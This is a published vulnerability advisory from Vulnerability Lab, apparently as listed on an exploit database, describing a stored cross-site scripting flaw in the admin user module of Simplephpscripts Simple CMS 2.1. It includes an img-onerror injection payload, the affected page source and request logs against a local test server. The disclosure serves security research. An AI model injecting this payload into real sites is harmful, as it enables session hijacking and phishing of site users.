6829e7f3b7
17 changes to exploits/shellcodes RDP Manager 4.9.9.3 - Denial-of-Service (PoC) PHPJabbers Simple CMS 5 - 'name' Persistent Cross-Site Scripting (XSS) WordPress Plugin Hotel Listing 3 - 'Multiple' Cross-Site Scripting (XSS) Fuel CMS 1.4.1 - Remote Code Execution (3) Eclipse Jetty 11.0.5 - Sensitive File Disclosure WordPress Plugin Popup Anything 2.0.3 - 'Multiple' Stored Cross-Site Scripting (XSS) OpenAM 13.0 - LDAP Injection Simplephpscripts Simple CMS 2.1 - 'Multiple' Stored Cross-Site Scripting (XSS) Simplephpscripts Simple CMS 2.1 - 'Multiple' SQL Injection Sonicwall SonicOS 6.5.4 - 'Common Name' Cross-Site Scripting (XSS) PHP Melody 3.0 - 'Multiple' Cross-Site Scripting (XSS) PHP Melody 3.0 - 'vid' SQL Injection Mult-e-Cart Ultimate 2.4 - 'id' SQL Injection PHP Melody 3.0 - Persistent Cross-Site Scripting (XSS) Isshue Shopping Cart 3.5 - 'Title' Cross Site Scripting (XSS) Vanguard 2.1 - 'Search' Cross-Site Scripting (XSS) Ultimate POS 4.4 - 'name' Cross-Site Scripting (XSS)
246 lines
No EOL
8.9 KiB
Text
246 lines
No EOL
8.9 KiB
Text
# Exploit Title: Simplephpscripts Simple CMS 2.1 - 'Multiple' Stored Cross-Site Scripting (XSS)
|
|
# Date: 2021-10-19
|
|
# Exploit Author: Vulnerability Lab
|
|
# Vendor Homepage: https://simplephpscripts.com/simple-cms-php
|
|
# Version: 2.1
|
|
# Tested on: Linux
|
|
|
|
Document Title:
|
|
===============
|
|
Simplephpscripts Simple CMS v2.1 - Persistent Vulnerability
|
|
|
|
|
|
References (Source):
|
|
====================
|
|
https://www.vulnerability-lab.com/get_content.php?id=2302
|
|
|
|
|
|
Release Date:
|
|
=============
|
|
2021-10-19
|
|
|
|
|
|
Vulnerability Laboratory ID (VL-ID):
|
|
====================================
|
|
2302
|
|
|
|
|
|
Common Vulnerability Scoring System:
|
|
====================================
|
|
5.3
|
|
|
|
|
|
Vulnerability Class:
|
|
====================
|
|
Cross Site Scripting - Persistent
|
|
|
|
|
|
Current Estimated Price:
|
|
========================
|
|
500€ - 1.000€
|
|
|
|
|
|
Product & Service Introduction:
|
|
===============================
|
|
The system could be used only in already existing websites to control their page sections and contents.
|
|
Just paste a single line of code on your web page section and start controlling it through the admin area.
|
|
Very simple installation - one step installation wizard. Option to include contents into web page sections
|
|
through php include, javascript or iframe embed. Any language support. WYSIWYG(text) editor to styling and
|
|
format contents of the sections. Suitable for web designers who work with Mobirise, Xara and other web builders.
|
|
|
|
(Copy of the Homepage: https://simplephpscripts.com/simple-cms-php )
|
|
|
|
|
|
Abstract Advisory Information:
|
|
==============================
|
|
The vulnerability laboratory core research team discovered a persistent cross site scripting vulnerability in the Simplephpscripts Simple CMS v2.1 web-application.
|
|
|
|
|
|
Affected Product(s):
|
|
====================
|
|
Simplephpscripts
|
|
Product: Simple CMS v2.1 - Content Management System (Web-Application)
|
|
|
|
|
|
Vulnerability Disclosure Timeline:
|
|
==================================
|
|
2021-09-03: Researcher Notification & Coordination (Security Researcher)
|
|
2021-09-04: Vendor Notification (Security Department)
|
|
2021-**-**: Vendor Response/Feedback (Security Department)
|
|
2021-**-**: Vendor Fix/Patch (Service Developer Team)
|
|
2021-**-**: Security Acknowledgements (Security Department)
|
|
2021-10-19: Public Disclosure (Vulnerability Laboratory)
|
|
|
|
|
|
Discovery Status:
|
|
=================
|
|
Published
|
|
|
|
|
|
Exploitation Technique:
|
|
=======================
|
|
Remote
|
|
|
|
|
|
Severity Level:
|
|
===============
|
|
Medium
|
|
|
|
|
|
Authentication Type:
|
|
====================
|
|
Full Authentication (Admin/Root Privileges)
|
|
|
|
|
|
User Interaction:
|
|
=================
|
|
Low User Interaction
|
|
|
|
|
|
Disclosure Type:
|
|
================
|
|
Responsible Disclosure
|
|
|
|
|
|
Technical Details & Description:
|
|
================================
|
|
A persistent input validation web vulnerability has been discovered in the Simplephpscripts Simple CMS v2.1 web-application.
|
|
The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise
|
|
browser to web-application requests from the application-side.
|
|
|
|
The persistent cross site web vulnerability is located in `name`, `username`, `password` parameters of the `newUser`
|
|
or `editUser` modules. Remote attackers with privileged application user account and panel access are able to inject
|
|
own malicious script code as credentials. The injected code executes on preview of the users list. The request method
|
|
to inject is post and the attack vector is persistent.
|
|
|
|
Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent
|
|
external redirects to malicious source and persistent manipulation of affected application modules.
|
|
|
|
Request Method(s):
|
|
[+] POST
|
|
|
|
Vulnerable Module(s):
|
|
[+] newUser
|
|
[+] editUser
|
|
|
|
Vulnerable File(s):
|
|
[+] admin.php?act=users
|
|
|
|
Vulnerable Input(s):
|
|
[+] Name
|
|
[+] Username
|
|
[+] Password
|
|
|
|
Vulnerable Parameter(s):
|
|
[+] name
|
|
[+] username
|
|
[+] password
|
|
|
|
Affected Module(s):
|
|
[+] Users (act=users) (Backend)
|
|
|
|
|
|
Proof of Concept (PoC):
|
|
=======================
|
|
The persistent input validation web vulnerability can be exploited by remote attackers with privileged account and with low user interaction.
|
|
For security demonstration or to reproduce the persistent cross site web vulnerability follow the provided information and steps below to continue.
|
|
|
|
|
|
PoC: Payload
|
|
"><img src='31337'onerror=alert(0)></img>
|
|
|
|
|
|
Vulnerable Source: admin.php?act=users
|
|
<tbody><tr>
|
|
<td class="headlist"><a href="admin.php?act=users&orderType=DESC&orderBy=name">Name</a></td>
|
|
<td class="headlist" width="23%"><a href="admin.php?act=users&orderType=DESC&orderBy=email">Email</a></td>
|
|
<td class="headlist" width="23%"><a href="admin.php?act=users&orderType=DESC&orderBy=username">Username</a></td>
|
|
<td class="headlist" width="23%">Password</td>
|
|
<td class="headlist" colspan="2"> </td>
|
|
</tr>
|
|
<tr>
|
|
<td class="bodylist">c"><img src='31337'onerror=alert(0)></img></td>
|
|
<td class="bodylist">keymaster23@protonmail.com</td>
|
|
<td class="bodylist">d"><img src='31337'onerror=alert(0)></img></td>
|
|
<td class="bodylist">e"><img src='31337'onerror=alert(0)></img></td>
|
|
<td class="bodylistAct"><a href="admin.php?act=editUser&id=7" title="Edit"><img class="act" src="images/edit.png" alt="Edit"></a></td>
|
|
<td class="bodylistAct"><a class="delete" href="admin.php?act=delUser&id=7" onclick="return confirm('Are you sure you want to delete it?');"
|
|
title="DELETE"><img class="act" src="images/delete.png" alt="DELETE"></a></td>
|
|
</tr>
|
|
|
|
|
|
--- PoC Session Logs (POST) [Create] ---
|
|
https://simple-cms.localhost:8000/simplecms/admin.php
|
|
Host: simple-cms.localhost:8000
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Content-Length: 141
|
|
Origin: https://simple-cms.localhost:8000
|
|
Connection: keep-alive
|
|
Referer: https://simple-cms.localhost:8000/simplecms/admin.php?act=newUser
|
|
Cookie: PHPSESSID=9smae9mm1m1misttrp1a2e1p23
|
|
act=addUser&name=c"><img src='31337'onerror=alert(0)></img>&email=tester23@test.de
|
|
&username=d"><img src='31337'onerror=alert(0)></img>
|
|
&password=e"><img src='31337'onerror=alert(0)></img>&submit=Add User
|
|
-
|
|
POST: HTTP/2.0 200 OK
|
|
server: Apache
|
|
content-length: 5258
|
|
content-type: text/html; charset=UTF-8
|
|
-
|
|
https://simple-cms.localhost:8000/simplecms/31337
|
|
Host: simple-cms.localhost:8000
|
|
Accept: image/webp,*/*
|
|
Connection: keep-alive
|
|
Referer: https://simple-cms.localhost:8000/simplecms/admin.php
|
|
Cookie: PHPSESSID=9smae9mm1m1misttrp1a2e1p23
|
|
-
|
|
GET: HTTP/2.0 200 OK
|
|
server: Apache
|
|
content-length: 196
|
|
content-type: text/html; charset=iso-8859-1
|
|
|
|
|
|
|
|
Reference(s):
|
|
https://simple-cms.localhost:8000/simplecms/admin.php
|
|
https://simple-cms.localhost:8000/simplecms/admin.php
|
|
https://simple-cms.localhost:8000/simplecms/admin.php?act=newUser
|
|
|
|
|
|
Credits & Authors:
|
|
==================
|
|
Vulnerability-Lab [Research Team] - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
|
|
|
|
|
|
Disclaimer & Information:
|
|
=========================
|
|
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties,
|
|
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab
|
|
or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits
|
|
or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do
|
|
not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.
|
|
We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.
|
|
|
|
Domains: www.vulnerability-lab.com www.vuln-lab.com www.vulnerability-db.com
|
|
Services: magazine.vulnerability-lab.com paste.vulnerability-db.com infosec.vulnerability-db.com
|
|
Social: twitter.com/vuln_lab facebook.com/VulnerabilityLab youtube.com/user/vulnerability0lab
|
|
Feeds: vulnerability-lab.com/rss/rss.php vulnerability-lab.com/rss/rss_upcoming.php vulnerability-lab.com/rss/rss_news.php
|
|
Programs: vulnerability-lab.com/submit.php vulnerability-lab.com/register.php vulnerability-lab.com/list-of-bug-bounty-programs.php
|
|
|
|
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
|
|
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
|
|
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other
|
|
information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or
|
|
edit our material contact (admin@ or research@) to get a ask permission.
|
|
|
|
Copyright © 2021 | Vulnerability Laboratory - [Evolution Security GmbH]™
|
|
|
|
|
|
|
|
--
|
|
VULNERABILITY LABORATORY (VULNERABILITY LAB)
|
|
RESEARCH, BUG BOUNTY & RESPONSIBLE DISCLOSURE
|
|
LUDWIG-ERHARD STRAßE 4
|
|
34131 KASSEL - HESSEN
|
|
DEUTSCHLAND (DE) |